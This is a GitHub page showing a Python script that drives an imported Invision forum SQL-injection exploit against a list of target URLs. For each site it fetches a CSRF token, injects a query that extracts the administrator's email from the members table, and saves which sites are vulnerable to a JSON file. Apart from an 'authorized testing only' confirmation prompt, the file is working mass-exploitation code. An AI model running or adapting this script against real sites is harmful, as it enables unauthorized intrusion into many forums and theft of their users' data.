-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbatch_testing_example.py
More file actions
156 lines (127 loc) · 5.01 KB
/
Copy pathbatch_testing_example.py
File metadata and controls
156 lines (127 loc) · 5.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
"""
Batch Testing Example
This script demonstrates how to test multiple targets from a file.
Useful for authorized penetration testing engagements with multiple systems.
Usage:
python batch_testing_example.py -f targets.txt -o results.txt
"""
import sys
import argparse
import json
from datetime import datetime
sys.path.insert(0, '..')
try:
from invision_sqli_exploit import InvisionSQLiExploit
from colorama import Fore, Style, init
except ImportError as e:
print(f"Error: {e}")
print("Make sure you're running from the examples directory and dependencies are installed.")
sys.exit(1)
init(autoreset=True)
def load_targets(filename):
"""Load target URLs from a file"""
try:
with open(filename, 'r') as f:
targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
return targets
except FileNotFoundError:
print(f"{Fore.RED}[-] File not found: {filename}{Style.RESET_ALL}")
sys.exit(1)
def test_target(url, verbose=False):
"""Test a single target"""
print(f"\n{Fore.CYAN}{'='*70}")
print(f"{Fore.CYAN}Testing: {url}")
print(f"{Fore.CYAN}{'='*70}{Style.RESET_ALL}")
exploit = InvisionSQLiExploit(url, verbose)
# Test CSRF token extraction
if not exploit.fetch_csrf_token():
return {
'url': url,
'vulnerable': False,
'error': 'Failed to fetch CSRF token',
'timestamp': datetime.now().isoformat()
}
# Test SQL injection by extracting admin email
try:
print(f"{Fore.CYAN}[*] Testing SQL injection...{Style.RESET_ALL}")
admin_email = exploit.sql_injection("SELECT email FROM core_members WHERE member_id=1")
if admin_email:
return {
'url': url,
'vulnerable': True,
'admin_email': admin_email,
'timestamp': datetime.now().isoformat()
}
else:
return {
'url': url,
'vulnerable': False,
'error': 'SQL injection failed',
'timestamp': datetime.now().isoformat()
}
except Exception as e:
return {
'url': url,
'vulnerable': False,
'error': str(e),
'timestamp': datetime.now().isoformat()
}
def main():
parser = argparse.ArgumentParser(
description="Batch test multiple targets for SQL injection vulnerability",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Example:
# Create targets file
echo "http://target1.com/forum/" > targets.txt
echo "http://target2.com/forum/" >> targets.txt
# Run batch test
python batch_testing_example.py -f targets.txt -o results.json
Target File Format:
One URL per line
Lines starting with # are ignored (comments)
Empty lines are ignored
"""
)
parser.add_argument('-f', '--file', required=True, help='File containing target URLs')
parser.add_argument('-o', '--output', default='results.json', help='Output file for results (JSON)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
args = parser.parse_args()
# Display disclaimer
print(f"\n{Fore.RED}{'='*70}")
print(f"{Fore.RED}BATCH TESTING - Authorized Testing Only")
print(f"{Fore.RED}{'='*70}{Style.RESET_ALL}")
print(f"{Fore.YELLOW}Ensure you have written authorization for ALL targets!{Style.RESET_ALL}")
print(f"\n{Fore.YELLOW}Continue? (yes/no){Style.RESET_ALL}")
if input("> ").strip().lower() not in ['yes', 'y']:
print(f"\n{Fore.RED}Aborted.{Style.RESET_ALL}\n")
sys.exit(0)
# Load targets
targets = load_targets(args.file)
print(f"\n{Fore.GREEN}[+] Loaded {len(targets)} target(s){Style.RESET_ALL}")
# Test each target
results = []
vulnerable_count = 0
for i, url in enumerate(targets, 1):
print(f"\n{Fore.BLUE}[*] Testing target {i}/{len(targets)}{Style.RESET_ALL}")
result = test_target(url, args.verbose)
results.append(result)
if result['vulnerable']:
vulnerable_count += 1
print(f"{Fore.GREEN}[+] VULNERABLE - Admin: {result['admin_email']}{Style.RESET_ALL}")
else:
print(f"{Fore.RED}[-] Not vulnerable - {result.get('error', 'Unknown error')}{Style.RESET_ALL}")
# Save results
with open(args.output, 'w') as f:
json.dump(results, f, indent=2)
# Summary
print(f"\n{Fore.CYAN}{'='*70}")
print(f"{Fore.CYAN}SUMMARY")
print(f"{Fore.CYAN}{'='*70}{Style.RESET_ALL}")
print(f"{Fore.BLUE}Total targets:{Style.RESET_ALL} {len(targets)}")
print(f"{Fore.GREEN}Vulnerable:{Style.RESET_ALL} {vulnerable_count}")
print(f"{Fore.RED}Not vulnerable:{Style.RESET_ALL} {len(targets) - vulnerable_count}")
print(f"{Fore.YELLOW}Results saved to:{Style.RESET_ALL} {args.output}\n")
if __name__ == "__main__":
main()